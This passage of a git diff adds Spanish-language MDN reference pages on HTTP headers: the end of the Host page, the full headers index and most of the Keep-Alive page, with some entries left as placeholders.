+ <dt>&lt;puerto&gt; {{optional_inline}}</dt>
+ <dd>número de puerto TCP en el que el servidor está escuchando.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>Host: developer.cdn.mozilla.net</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Host", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Host")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{HTTPStatus("400")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/index.html b/files/es/web/http/headers/index.html
new file mode 100644
index 0000000000..4b4ed3c8a1
--- /dev/null
+++ b/files/es/web/http/headers/index.html
@@ -0,0 +1,396 @@
+---
+title: HTTP headers
+slug: Web/HTTP/Headers
+tags:
+  - HTTP
+  - Headers
+  - Networking
+  - Reference
+  - TopicStub
+translation_of: Web/HTTP/Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>Las cabeceras (en inglés <em>headers</em>) HTTP permiten al cliente y al servidor enviar información adicional junto a una petición o respuesta. Una cabecera de petición esta compuesta por su nombre (no sensible a las mayusculas) seguido de dos puntos '<code>:</code>', y a continuación su valor (sin saltos de línea). Los espacios en blanco a la izquierda del valor son ignorados</div>
+
+<div></div>
+
+<div>Se pueden agregar cabeceras propietarias personalizadas usando el prefijo 'X-', pero esta convención se encuentra desfasada desde Julio de 2012, debido a los inconvenientes causados cuando se estandarizaron campos no estandar en el <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; otras están listadas en un <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">registro IANA</a>, cuyo contenido original fue definido en el <a href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>, IANA tambien mantiene un <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">registro de propuestas para nuevas cabeceras HTTP</a></div>
+
+<div></div>
+
+<p>Las Cabeceras pueden ser agrupadas de acuerdo a sus contextos:</p>
+
+<ul>
+ <li>{{Glossary("Cabecera general")}}: Cabeceras que se aplican tanto a las peticiones como a las respuestas, pero sin relación con los datos que finalmente se transmiten en el cuerpo.</li>
+ <li>{{Glossary("Cabecera de consulta")}}: Cabeceras que contienen más información sobre el contenido que va a obtenerse o sobre el cliente.</li>
+ <li>{{Glossary("Cabecera de respuesta")}}: Cabeceras que contienen más información sobre el contenido, como su origen o el servidor (nombre, versión, etc.).</li>
+ <li>{{Glossary("Cabecera de entidad")}}: Cabeceras que contienen más información sobre el cuerpo de la entidad, como el tamaño del contenido o su tipo MIME.</li>
+</ul>
+
+<p>Las cabeceras también pueden clasificarse de acuerdo a cómo se comportan frente a ellas los proxies:</p>
+
+<dl>
+ <dt><a id="e2e" name="e2e"></a>Cabeceras de extremo a extremo</dt>
+ <dd>Estas cabeceras deben ser enviadas al recipiente final del mensaje; esto es, el servidor (para una petición) o el cliente (para una respuesta). Los proxies intermediarios deben transmitir las cabeceras de extremo-a-extremo sin modificar, y las cachés deben guardarlas tal y como son recibidas.</dd>
+ <dt><a id="hbh" name="hbh"></a>Cabeceras de paso</dt>
+ <dd>Estas cabeceras sólo son significativas para conexiones de un paso, y no deben ser transmitidas por proxies o almacenarse en caché. Éstas cabeceras son: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. La cabecera general {{ httpheader("Connection") }} sólo puede usarse para este tipo de cabeceras.</dd>
+</dl>
+
+<p>La siguiente lista agrupa las cabeceras HTTP en categorías según su uso. Para visualizar una lista en orden alfabético, use el navegador del lado izquierdo.</p>
+
+<h2 id="Autenticación">Autenticación</h2>
+
+<dl>
+ <dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
+ <dd>Define el método de autenticación que debería ser usado para tener acceso al contenido. </dd>
+ <dt>{{HTTPHeader("Authorization")}}</dt>
+ <dd>Contiene las credenciales para autenticar a un usuario con un servidor.</dd>
+ <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
+ <dd>Define el método de autenticación que debería ser usado para tener acceso a un recurso que se encuentre tras un servidor proxy.</dd>
+ <dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
+ <dd>Contiene las credenciales para autenticar a un usuario con un servidor proxy.</dd>
+</dl>
+
+<h2 id="Almacenamiento_en_caché">Almacenamiento en caché</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Age")}}</dt>
+ <dd>El tiempo en el que un objeto ha estado en una caché proxy, expresado en segundos.</dd>
+ <dt>{{HTTPHeader("Cache-Control")}}</dt>
+ <dd>Especifica directivas para los mecanismos de almacenamiento en caché, tanto para peticiones como para respuestas.</dd>
+ <dt>{{HTTPHeader("Expires")}}</dt>
+ <dd>La fecha y tiempo tras las cuales una respuesta se considera agotada. </dd>
+ <dt>{{HTTPHeader("Pragma")}}</dt>
+ <dd>Cabecera specífica para implementaciones que puede tener diferentes efectos a lo lartgo del proceso de petición-respuesta. Utilizada para implementar retrocompatibilidad con cachés de tipo HTTP/1.0 donde la cabecera <code>Cache-Control</code> aún no esté presente.</dd>
+ <dt>{{HTTPHeader("Warning")}}</dt>
+ <dd>Un campo de alerta general, que contiene i nformación sobre diferentes problemas posibles.</dd>
+</dl>
+
+<h2 id="Indicaciones_sobre_el_cliente">Indicaciones sobre el cliente</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH-Lifetime")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Early-Data")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Content-DPR")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("DPR")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Downlink")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Save-Data")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Viewport-Width")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Width")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h2 id="Condicionales">Condicionales</h2>
+ </dt>
+ <dt>{{HTTPHeader("Last-Modified")}}</dt>
+ <dd>Se trata de un validador, indicando la fecha de la última modificación del recurso, utilizado para comparar diferentes versiones del mismo recurso. No es tan preciso como {{HTTPHeader("ETag")}}, pero es más sencillo de calcular en algunos entornos. Las peticiones condicionales que usan {{HTTPHeader("If-Modified-Since")}} y {{HTTPHeader("If-Unmodified-Since")}}utilizan este valor para cambiar el comportamiento de la petición.</dd>
+ <dt>{{HTTPHeader("ETag")}}</dt>
+ <dd>Se trata de un validador, un tipo de hilo único identificando la versión del recurso. Las peticiones condicionales que usan {{HTTPHeader("If-Match")}} y {{HTTPHeader("If-None-Match")}} utilizan este valor para cambiar el comportamiento de la petición.</dd>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>Realiza la petición condicional y aplican el método sólo si el recurso almacenado coincide con uno de los ETags asignados.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>Realiza la petición condicional y aplican el método sólo si el recurso almacenado no coincide con ninguno de los ETags. Ésta cabecera se utiliza para actualizar cachés (para peticiones seguras), o para prevenir la subida de un recurso si éste ya existe en el servidor.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>Realiza la petición condicional y espera que la entidad sea transmitia sólo si ha sido modificada tras la fecha especificada. Esta cabecera se usa para transmitir datos si la cabecera ha quedado desfasada.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>Realiza la petición condicional y espera que la entidad sea transmitia sólo si no ha sido modificada tras la fecha especificada. Esta cabecera se usa para preservar la coherencia de un nuevo fragmento de un rango especifico respecto a otros ya existentes, o para implementar un sistema de control de concurrencia optimistacuando se están modificando documentos existentes. </dd>
+</dl>
+
+<h2 id="Gestión_de_conexiones">Gestión de conexiones</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Connection")}}</dt>
+ <dd>Controla si la conexión a la red se mantiene activa después de que la transacción en curso haya finalizado.</dd>
+ <dt>{{HTTPHeader("Keep-Alive")}}</dt>
+ <dd>Controla el tiempo durante el cual una conexión persistente debe permanecer abierta.</dd>
+</dl>
+
+<h2 id="Negociación_de_contenido">Negociación de contenido</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept")}}</dt>
+ <dd>Informa al servidor sobre los diferentes tipos de datos que pueden enviarse de vuelta. Es de tipo MIME.</dd>
+ <dt>{{HTTPHeader("Accept-Charset")}}</dt>
+ <dd>Informa al servidor sobre el set de caracteres que el cliente puede entender.</dd>
+ <dt>{{HTTPHeader("Accept-Encoding")}}</dt>
+ <dd>Informa al servidor sobre el algoritmo de codificación, habitualmente un algoritmo de compresión, que puede utilizarse sobre el recurso que se envíe de vuelta en la respuesta.</dd>
+ <dt>{{HTTPHeader("Accept-Language")}}</dt>
+ <dd>Informa al servidor sobre el lenguage que el servidor espera recibir de vuelta. Se trata de una indicación, y no estará necesariamente sometida al control del cliente: el servidor siempre deberá estar atento para no sobreescribir una selección específica del usuario (como, por ejemplo, una selección de idiomas en una lista desplegable). </dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Controles">Controles</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Expect")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Max-Forwards")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Cookies">Cookies</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cookie")}}</dt>
+ <dd>Contiene <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> enviadas previamente por el servidor con la cabecera {{HTTPHeader("Set-Cookie")}} .</dd>
+ <dt>{{HTTPHeader("Set-Cookie")}}</dt>
+ <dd>Envia cookies desde el servidor al usuario.</dd>
+ <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>Habitualmente contenía una cookie HTTP, enviada previamente por el servidor con la cabecera {{HTTPHeader("Set-Cookie2")}} , pero ha quedado obsoleta por la especificación. Utiliza en su lugar {{HTTPHeader("Cookie")}}.</dd>
+ <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>Se utilizaba para enviar cookies desde el servidor al usuario, but has been obsoleted by the specification. pero ha quedado obsoleta por la especificación. Utiliza en su lugar  {{HTTPHeader("Set-Cookie")}} .</dd>
+ <dt>
+ <h2 id="CORS">CORS</h2>
+ </dt>
+ <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
+ <dd>Indica si la respuesta puede ser compartida.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
+ <dd>Indica si la respuesta puede quedar expuesta o no cuando el marcador de la credencial retorna como 'true'. </dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
+ <dd>Utilizado como respuesta a una solicitud de validación para indicár qué cabeceras HTTP pueden utilizarse a la hora de lanzar la petición.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
+ <dd>Especifica el método (o métodos) permitido al acceder al recurso, en respuesta a una petición de validación.</dd>
+ <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
+ <dd>Indica qué cabeceras pueden ser expuestas como parte de una respuesta al listar sus nombres. </dd>
+ <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
+ <dd>Indica durante cuánto tiempo puede guardarse el resultado de una solicitud de validación. </dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
+ <dd>Utilizada al lanzar una petición de validación, para permitir al servidor saber qué cabeceras HTTP se utilizarán cuando la petición en cuestión se lance. </dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
+ <dd>Utilizada al enviar una solicitud de validación que permite al servidor saber qué <a href="/en-US/docs/Web/HTTP/Methods">método HTTP</a> se utilizará cuando la petición en cuestión se lance. </dd>
+ <dt>{{HTTPHeader("Origin")}}</dt>
+ <dd>Indica el punto de origen de una petición de recogida.</dd>
+ <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt>
+ <dd>Especifica los origines que tienen permitido ver los valores de los atributos obtenidos mediante las características de la <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>, que de otra forma serían reportados como cero debido a los orígenes cruzados.</dd>
+</dl>
+
+<h2 id="Cabeceras_sin_seguimiento">Cabeceras sin seguimiento</h2>
+
+<dl>
+ <dt>{{HTTPHeader("DNT")}}</dt>
+ <dd>Usada para indicar las preferencias de seguimiento (tracking) del usuario.</dd>
+ <dt>{{HTTPHeader("Tk")}}</dt>
+ <dd>Indica el estado del seguimiento que se aplica a la petición en curso.</dd>
+</dl>
+
+<h2 id="Descargas">Descargas</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Disposition")}}</dt>
+ <dd>Una cabecera de respuesta usada en caso de que el recurso transmitid deba mostrarse en pantalla , o debe ser gestionada como una descarga y por tanto el navegador deba presentar una pantalla de 'Guardar Como'. </dd>
+</dl>
+
+<h2 id="Mensajes_sobre_la_información_del_cuerpo_body">Mensajes sobre la información del cuerpo (body)</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Length")}}</dt>
+ <dd>Indica el tamaño del cuerpo del recurso, expresado en números decimales de octetos, que ha sido enviado al recipiente.</dd>
+ <dt>{{HTTPHeader("Content-Type")}}</dt>
+ <dd>Indica el tipo de medio del recurso .</dd>
+ <dt>{{HTTPHeader("Content-Encoding")}}</dt>
+ <dd>Utilizado para indicar el algoritmo de compresión.</dd>
+ <dt>{{HTTPHeader("Content-Language")}}</dt>
+ <dd>Indica el idioma (o idiomas) elegidos para los usuarios, de forma que se pueda mostrar contenido diferenciado para el usuario de acuerdo a sus preferencias de idioma.</dd>
+ <dt>{{HTTPHeader("Content-Location")}}</dt>
+ <dd>Indica un punto de origen alternativo para un recurso.</dd>
+ <dt>
+ <h2 id="Proxies">Proxies</h2>
+ </dt>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Forwarded")}}</dt>
+ <dd>Contiene información sobre el 'lado cliente' de un servidor proxy, que se alteraría o perdería si un proxy está involucrado en la ruta de la petición.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
+ <dd>Identifica la IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
+ <dd>Identifies the la dirección original solicitada que un cliente haya utilizado para conectarse a un proxy o equilibrador de carga.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
+ <dd>Identifica el protocolo (HTTP o HTTPS) que un cliente haya utilizado para conectarse a un proxy o equilibrador de carga.</dd>
+ <dt>{{HTTPHeader("Via")}}</dt>
+ <dd>Añadida por los proxies, y pueden aparecer tanto en las cabeceras de petición como las de respuesta.</dd>
+</dl>
+
+<h2 id="Redirecciones">Redirecciones</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Location")}}</dt>
+ <dd>Indica la URL a la que debe redirigir una página determinada.</dd>
+</dl>
+
+<h2 id="Contexto_de_petición">Contexto de petición</h2>
+
+<dl>
+ <dt>{{HTTPHeader("From")}}</dt>
+ <dd>Contiene la dirección de email de un usuario humano que controla el gestor de peticiones.</dd>
+ <dt>{{HTTPHeader("Host")}}</dt>
+ <dd>Especifica el nombre de dominio del servidor (para alojamiento virtual), y (opcionalmente) el número de puerto TCP en el que está escuchando el servidor.</dd>
+ <dt>{{HTTPHeader("Referer")}}</dt>
+ <dd>Indica la dirección de la página web previa desde la cual un link nos ha redirigido a la actual.</dd>
+ <dt>{{HTTPHeader("Referrer-Policy")}}</dt>
+ <dd>Establece la información del referer que deberá ser enviada en las peticiones que incluyan {{HTTPHeader("Referer")}}.</dd>
+ <dt>{{HTTPHeader("User-Agent")}}</dt>
+ <dd>Contiene un string característico que será examinado por el protocolo de red para identificar el tipo de aplicación, sistema operativo, proveedor de software o versión del software del agente de software que realiza la petición. Véase también <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd>
+</dl>
+
+<h2 id="Contexto_de_respuesta">Contexto de respuesta</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Allow")}}</dt>
+ <dd>Lista el rango de métodos de peticiones HTTP aceptadas por un servidor.</dd>
+ <dt>{{HTTPHeader("Server")}}</dt>
+ <dd>Contiene información sobre el software utilizado por el servidor de origen para gestionar la petición.</dd>
+</dl>
+
+<h2 id="Peticiones_de_rango">Peticiones de rango</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Ranges")}}</dt>
+ <dd>Indica si el servidor acepta peticiones de rango y, de ser así, en qué unidades puede expresarse ese rango. </dd>
+ <dt>{{HTTPHeader("Range")}}</dt>
+ <dd>Indica la parte del documento que el servidor debe devolver.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>Crea una petición de rango condicional que sólo es satisfecha cuando el etag o los datos provistos coinciden con los del recurso remoto. Se usan para prevenir la descarga de dos rangos desde versiones incompatibles del mismo recurso. </dd>
+ <dt>{{HTTPHeader("Content-Range")}}</dt>
+ <dd>Indica el lugar que debe ocupar un mensaje parcial dentro de la totalidad del cuerpo del recurso. </dd>
+</dl>
+
+<h2 id="Seguridad">Seguridad</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
+ <dd>Controla qué recursos puede cargar el usuario para una página concreta. </dd>
+ <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
+ <dd>Permite a los desarrolladores web experimentar con políticas de acceso, monotorizando (pero sin implementar) sus efectos. Éstos informes de violación de protocolo contienen documentos del tipo {{Glossary("JSON")}} enviados mediante una petición HTTP <code>POST</code> hacia el URI especificado.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>Permite a los sitios optar por informar y/o hacer cumplir los requerimientos de Transparencia de Certificados, lo que impide que el uso de certificados publicados incorrectamente por ese sitio, pase desapercibido. Cuando un sitio habilita el encabezado Expect-CT, se solicita a Chrome que verifique que cualquier certificado para ese sitio, aparezca en los registros públicos de CT.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt>
+ <dd>Asocia una clave criptográfica pública y específica con un determinado servidor web para reducir el riesgo de {{Glossary("MITM")}} ataques con certificados falsificados.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
+ <dd>Envía reportes al report-uri especificado en la cabecera, sin bloquear la conexión entre cliente y servidor aún cuando el pinning ha sido violado.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
+ <dd>Fuerza la comunicación utilizando HTTPS en lugar de HTTP.</dd>
+ <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
+ <dd>Envía una señal al servidor expresando la preferencia del cliente por una respuesta encriptada y autenticada, y esta puede manejar de forma satisfactoria la directiva {{CSP("upgrade-insecure-requests")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
+ <dd>Deshabilita el MIME sniffing y fuerza al navegador a utilizar el tipo establecido en {{HTTPHeader("Content-Type")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Download-Options")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
+ <dd>Le indica al navegador que debe renderizar una página utilizando {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} o {{HTMLElement("object")}}.</dd>
+ <dt>{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Powered-By")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
+ <dd>Habilita los filtros de cross-site scripting.</dd>
+</dl>
+
+<h2 id="Eventos_enviados_por_el_servidor">Eventos enviados por el servidor</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Ping-From")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Ping-To")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Last-Event-ID")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Codificación_de_transferencia">Codificación de transferencia</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
+ <dd>Especifica la forma de codificación para transferir la entidad al usuario de forma segura.</dd>
+ <dt>{{HTTPHeader("TE")}}</dt>
+ <dd>Especifica la codificación de transferencia que el usuario estará dispuesto a aceptar.</dd>
+ <dt>{{HTTPHeader("Trailer")}}</dt>
+ <dd>Le permite al remitente incluir campos adicionales al final de un mensaje fragmentado.</dd>
+</dl>
+
+<h2 id="WebSockets">WebSockets</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Otros">Otros</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Date")}}</dt>
+ <dd>Contiene la fecha y la hora en que el mensaje fue originado.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>Le permite a los sitios el optar por reportar o forzar los requerimientos de transparencia de certificado.</dd>
+ <dt>{{HTTPHeader("Large-Allocation")}}</dt>
+ <dd>Le indica al navegador que la página a ser cargada va a realizar una asignación grande.</dd>
+ <dt>{{HTTPHeader("Link")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Retry-After")}}</dt>
+ <dd>Indica cuánto tiempo debe esperar el usuario antes de hacer una solicitud de seguimiento.</dd>
+ <dt>{{HTTPHeader("Server-Timing")}}</dt>
+ <dd>Comunica una o mas métricas y descripciones para un dado ciclo de petición-respuesta.</dd>
+ <dt>{{HTTPHeader("SourceMap")}}</dt>
+ <dd>Enlaza el código generado a un <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd>
+ <dt>{{HTTPHeader("Upgrade")}}</dt>
+ <dd>Éste es un Estándar de Internet Propuesto. Para leer una guía inclusiva de todos los Estándares de Internet Oficiales y Propuestos con información detallada sobre cada uno de ellos, <a href="https://www.rfc-editor.org/standards">visita esta referencia de Estándares de Internet,</a> que se actualiza de forma diaria. El documento relevante de la RFC para la Actualuzación sobre los Estándares de Cabeceras es el <a href="https://tools.ietf.org/html/rfc7230#section-6.7">RFC 7230, sección 6.7</a>. El estándar establece reglas para la actualización o cambios a un protocolo doferente en el cliente, servidor, o protocolo de conexiones actuales.Por ejemplo, este estándar de cabecera permite que un cliente cambie de un protocolo HTTP 1.1 al HTTP 2.0, asumiendo que el servidor decida reconocer e implementar la cabecera de Actualización. Ninguna de las partes involucradas está obligada a aceptar los cambios implementados por el campo de la Cabecera de Actualización {{HTTPHeader("Upgrade")}}.  Puede usarse tanto para cabeceras de cliente como para las del servidor. Si se especifica la cabecera de Actualización, el emisor también DEBE enviar el campo de cabecera de Conexión con la opción de actualización especificada. Para más detalles sobre dicho campo, por favor revisar la<a href="https://tools.ietf.org/html/rfc7230#section-6.1"> sección 6.1 de la ya mencionada RFC</a>.</dd>
+ <dt>{{HTTPHeader("Vary")}}</dt>
+ <dd>Determina cómo emparejar futuras cabeceras de petición para decidir si una respuesta en caché puede utilizarse, en lugar de solicitar una cabecera nueva desde el servidor de origen. </dd>
+ <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
+ <dd>Controla el prefetching de DNS, una característica que permite a muchos navegadores realizar resoluciones de nombre de los dominios sobre ambos enlaces, que un usuario podría elegir seguir; así como URLs pata objetos referenciados por el documento incluyendo imágenes, CSS, archivos Javascript y demás. </dd>
+ <dt>{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Requested-With")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Robots-Tag")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}</dt>
+ <dd>Utilizada por Internet Explorer para señalar que tipo de modo de documento utilizar.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia- listado de cabeceras HTTP</a></li>
+ <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">Registro IANA</a></li>
+</ul>
diff --git a/files/es/web/http/headers/keep-alive/index.html b/files/es/web/http/headers/keep-alive/index.html
new file mode 100644
index 0000000000..73af07d2f4
--- /dev/null
+++ b/files/es/web/http/headers/keep-alive/index.html
@@ -0,0 +1,93 @@
+---
+title: Keep-Alive
+slug: Web/HTTP/Headers/Keep-Alive
+tags:
+  - HTTP
+  - encabezado
+  - header
+  - keep-alive
+translation_of: Web/HTTP/Headers/Keep-Alive
+---
+<div>{{HTTPSidebar}}{{Non-standard_header}}</div>
+
+<p>El encabezado <code><strong>Keep-Alive</strong></code> permite al remitente indicar como será la forma de conexión, se puede establecer un tiempo de espera y una cantidad máxima de solicitudes.</p>
+
+<div class="note">
+<p>El encabezado  {{HTTPHeader("Connection")}} se tiene que establecer en  "keep-alive" para que este encabezado tenga sentido. Además, {{HTTPHeader("Connection")}} y {{HTTPHeader("Keep-Alive")}} son ignorados en  HTTP/2; la administración de la conexión se realiza mediante otros mecanismos.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Keep-Alive: <em>parámetros</em></pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><em>parámetros</em></dt>
+ <dd>Lista de parámetros separados por coma, cada uno consiste en un identificador y un valor separado por el signo igual (<code>'='</code>). Es posible establecer los siguientes identificadores:
+ <ul>
+  <li><code>timeout</code>: indica la cantidad de  tiempo <em>mínima  </em>en la cual una conexión ociosa se debe mantener abierta (en segundos). Nótese que los <em>timeouts</em> mas largos que el <em>timeout</em> de TCP pueden ser ignorados si no se establece un mensaje de<em> TCP keep-alive</em>  en la capa de transporte.</li>
+  <li><code>max</code>: indica el número máximo de peticiones que pueden ser enviadas en esta conexión antes de que sea cerrada. Si es  <code>0</code>, este valor es ignorado para las conexiones no segmentadas, ya que se enviara otra solicitud en la próxima respuesta. Una canalización de HTTP puede ser usada para limitar la división.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Una respuesta que contiene el encabezado <code>Keep-Alive</code>:</p>
+
+<pre>HTTP/1.1 200 OK
+<strong>Connection: Keep-Alive</strong>
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Thu, 11 Aug 2016 15:23:13 GMT
+<strong>Keep-Alive: timeout=5, max=1000</strong>
+Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT
+Server: Apache
+
+(body)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#rfc.section.2">HyperText Transport Protocol Keep-Alive Header</a></td>
+   <td>The Keep-Alive Header (Experimental specification)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Keep-Alive", "appendix-A.1.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Keep-Alive")}}</p>
+
+<h2 id="Mirar_tambien">Mirar tambien</h2>
+
+<ul>
